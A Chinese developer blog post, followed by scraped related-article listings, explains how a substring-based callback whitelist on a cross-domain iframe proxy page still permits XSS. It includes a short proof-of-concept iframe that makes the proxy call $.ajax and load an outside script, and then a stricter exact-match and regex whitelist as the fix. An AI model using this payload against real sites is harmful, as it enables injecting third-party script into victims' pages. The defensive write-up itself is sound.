之前讨论过,在解决post跨域请求时,采用iframe+本域代理页的形式,兼容性(当然是包括IE6啦)是最好的。上次提到,代理页面的作用是:执行本域下的回调函数。就是这个原因,给XSS带来了便利。详细说明,请参考一个跨域请求的XSS漏洞

上次也提到,解决这个问题的根本在于杜绝不合法的函数在页面内执行。上次透了一下懒,对函数名就行了包含匹配。过程如下:

/**
* callback的值为:namespace.function,prefix123456
*/
var filter = [
'namespace',
'prefix'
];
//验证函数,返回true时,return
var validateCallback = function (callback) {
var flag = true;
for(var i=0;i<filter.length;i++) {
if(callback.indexOf(filter[i]) > -1) {
flag = false;
}
}
return flag;
} if(validateCallback(callback)) {
return;
}

从上面的代码可以看出,只有我的白名单的函数才能通过并执行。并且namespace是我定义的命名空间,我只要保证我的函数不会造成XSS就可以了吧。可是我太天真了,没想到还有这么个情况:

<iframe name="namespace" src="http://www.a.com" onload="loadIframe();">
<script>
function loadIframe() {
var iframe = document.createElement('iframe');
iframe.src = 'http://www.a.com/proxy.html?namespace.$.ajax&url="xxx"&dataType="javascript"';
document.body.appendChild(iframe);
}
</script>

这个时候,很轻松的就在a.com下,执行了第三方的js文件,想想都是一件可怕的事情。那为什么它能执行呢?

  1. 此时的namespace就是iframe的window,我们可以想象document.namespace是什么结果
  2. 一般情况下,a.com的页面上都会引用jquery或者其他的js库,很方便的调用一个方法执行一个ajax请求一个js文件,并执行
  3. 更重要的是,它可以操作window上所有的方法
  4. ……

那怎么解决呢?我最初想到的办法是:不改变现在白名单的情况下,增加域名白名单,只有在域名白名单里的域名才能执行。与此同时,遇到的一个问题是,我无法在proxy中,判断对我请求的域名是否合法。我最初想到的两种获得域名的方式是:document.referrer和parent.document.domain,下面我简单说明这两种形式为什么能判断。

无论通过那种方式限制,最重要的一点不能忘记:合法的请求,不能被限制。如果第三方采用iframe引用的话,犹豫同源策略,parent.document.domain会抛出异常,无法进行判断;至于document.rederrer的问题在于,如果嵌套多层iframe的话,我的reffer是正常的,其实还是非法的引用。

既然这个也被否定了,我到底怎么办呢?难道真的没办法防住这个吗?我又重新思考了一遍,为什么会出现这个xss漏洞呢?最主要的原因还是这个函数名。现在所做的没有对函数名进行严格控制,只是在判断包含关系。所以接下来要做的就是限制死函数名,只能是我的filter里的,可以通过恒等或者是正则匹配完成。

/**
* callback的值为:namespace.function,prefix123456,prefix1231321
*/
var filter = [
'namespace.function',
/^prefix\d$/
];
//验证函数,返回true时,return
var validateCallback = function (callback) {
var flag = true;
for(var i=0;i<filter.length;i++) {
if(typeof filter[i] === 'string') {
if(filter[i] === callback) {
flag = false;
}
}else {
if(filter[i].test(callback)) {
flag = false;
}
}
}
return flag;
} if(validateCallback(callback)) {
return;
}

通过上面的这种形式,暂时解决了这个XSS漏洞。当然这个问题还是一个长期的问题,还是需要长期跟进,遇到问题,随时解决。

一个跨域请求的XSS续的更多相关文章

  1. 一个跨域请求的XSS漏洞再续

    上回提到,由于需要使用代理页面解决POST请求的跨域请求,需要在代理页面上执行传递的函数.所以我们做了白名单只有我们认可的回调函数才能在页面上执行,防止执行非法的JS方法,做脚本攻击. 我们所采用的方 ...

  2. 一个跨域请求的XSS漏洞

    场景回顾 一个表单进行跨域提交的方式有很多,我们使用的采用隐藏iframe,在本域下放一个代理页面,通过服务端配合完成一次完整的请求. 首先,部署proxy.html代理页面.这个页面处理服务端返回的 ...

  3. access-Control-Allow-Origin跨域请求安全隐患

    最新的W3C标准里是这么实现HTTP跨域请求的,Cross-Origin Resource Sharing,就是跨域的目标服务器要返回一系列的Headers,通过这些Headers来控制是否同意跨域. ...

  4. jQuery jsonp跨域请求

    跨域的安全限制都是对浏览器端来说的,服务器端是不存在跨域安全限制的. 浏览器的同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互. 如果协议,端口和主机对于两个页面是相同的,则两个页面具 ...

  5. thinkphp 设置跨域请求

    场景:我的本地网页服务器无法访问本地的接口服务器接口提示一下错误:大致意思是:是一个跨域请求我的没有访问该地址的权限(接口服务器采用的是PHP编写) XMLHttpRequest cannot loa ...

  6. 在ASP.NET 5应用程序中的跨域请求功能详解

    在ASP.NET 5应用程序中的跨域请求功能详解 浏览器安全阻止了一个网页中向另外一个域提交请求,这个限制叫做同域策咯(same-origin policy),这组织了一个恶意网站从另外一个网站读取敏 ...

  7. Ajax+Spring MVC实现跨域请求(JSONP)JSONP 跨域

    JSONP原理及实现 接下来,来实际模拟一个跨域请求的解决方案.后端为Spring MVC架构的,前端则通过Ajax进行跨域访问. 1.首先客户端需要注册一个callback(服务端通过该callba ...

  8. ajax跨域请求时,sessionId不一样,导致无法记住登陆状态

    遇到这样一个场景,就是前端的域是dev,请求接口时,接口的域是beta,即使在服务端设置了cookie存放的域,'COOKIE_DOMAIN'   =>  '.roboming.com',虽然c ...

  9. Java实现CORS跨域请求

    问题 使用前后端分离模式开发项目时,往往会遇到这样一个问题 -- 无法跨域获取服务端数据 这是由于浏览器的同源策略导致的,目的是为了安全.在前后端分离开发模式备受青睐的今天,前端和后台项目往往会在不同 ...

随机推荐

  1. javascript 实现分享功能

    1.面向过程分享 <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...

  2. C#去除byte数组头尾杂质(即不需要的数据)

    代码如下: /// <summary> /// 去除byte数组头尾杂质(即不需要的数据) /// </summary> /// <param name="ar ...

  3. 内容观察者 ContentObserver 监听短信、通话记录数据库 挂断来电

    Activity public class MainActivity extends ListActivity {     private TextView tv_info;     private  ...

  4. Tree( 树) 组件[4]

    本节课重点了解 EasyUI 中 Tree(树)组件的使用方法, 这个组件依赖于 Draggable(拖动)和 Droppable(放置)组件.一.方法列表 //部分方法onClick : funct ...

  5. DataGrid( 数据表格) 组件[6]

    本节课重点了解 EasyUI 中 DataGrid(数据表格)组件的使用方法,这个组件依赖于Panel(面板).Resizeable(调整大小).LinkButton(按钮).Pageination( ...

  6. ValidateBox( 验证框) 组件

    本节课重点了解 EasyUI 中 ValidateBox(验证框)组件的使用方法,这个组件依赖于Tooltip(提示框)组件. 一. 加载方式//class 加载方式<input id=&quo ...

  7. Python代码分析工具之dis模块

    转自:http://hi.baidu.com/tinyweb/item/923d012e8146d00872863ec0  ,格式调整过. 代码分析不是一个新的话题,代码分析重要性的判断比较主观,不同 ...

  8. C复习手记(Day2)

    1.共用体 共用体是一种特殊的结构,允许在相同的位置存储不同的数据类型.可以定义一个带有多成员的共同体,但是任何时候只能有一个成员带有值. 定义共用体: union Data { int i; flo ...

  9. pd的django To do list教程-----(2)models模型的建立

    1:在models.py中建表 from django.db import models class Tcontent(models.Model): content = models.CharFiel ...

  10. C#--比较

    类型比较: 在比较对象时,常常需要知道它们的类型,这样才能确定是否可以进行值的比较. 方法一. 可以将GetType()方法和typeof()运算符一起使用,就可以确定对象的类型. 例子: int i ...